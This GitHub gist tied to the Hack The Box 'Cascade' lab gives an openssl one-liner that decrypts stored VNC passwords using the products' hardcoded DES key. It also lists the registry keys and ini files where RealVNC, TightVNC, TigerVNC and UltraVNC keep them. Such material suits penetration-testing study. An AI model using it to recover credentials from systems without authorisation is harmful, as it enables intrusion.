Created
November 15, 2025 06:22
-
-
Save strikoder/606cc931f2e32d71b063ede35e7790b0 to your computer and use it in GitHub Desktop.
Vnc Password Decryption (hex to clear pass)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # check HTB [Cascade](https://www.hackthebox.com/machines/cascade) for more info | |
| # Step1: get your vnc pass (e.x:6b,cf,2a,4b,6e,5a,ca,0f) | |
| # Step2: remove the comma => 6bcf2a4b6e5aca0f | |
| # step3: use this one liner | |
| ```bash | |
| echo -n [6bcf2a4b6e5aca0f:the value from above] | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv | |
| ``` | |
| ## [More info](https://github.com/frizb/PasswordDecrypts) on VNC | |
| VNC uses a hardcoded DES key to store credentials. The same key is used across multiple product lines. | |
| RealVNC | |
| HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver | |
| Value: Password | |
| TightVNC | |
| HKEY_CURRENT_USER\Software\TightVNC\Server | |
| HKLM\SOFTWARE\TightVNC\Server\ControlPassword | |
| tightvnc.ini | |
| vnc_viewer.ini | |
| Value: Password or PasswordViewOnly | |
| TigerVNC | |
| HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4 | |
| Value: Password | |
| UltraVNC | |
| C:\Program Files\UltraVNC\ultravnc.ini | |
| Value: passwd or passwd2 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment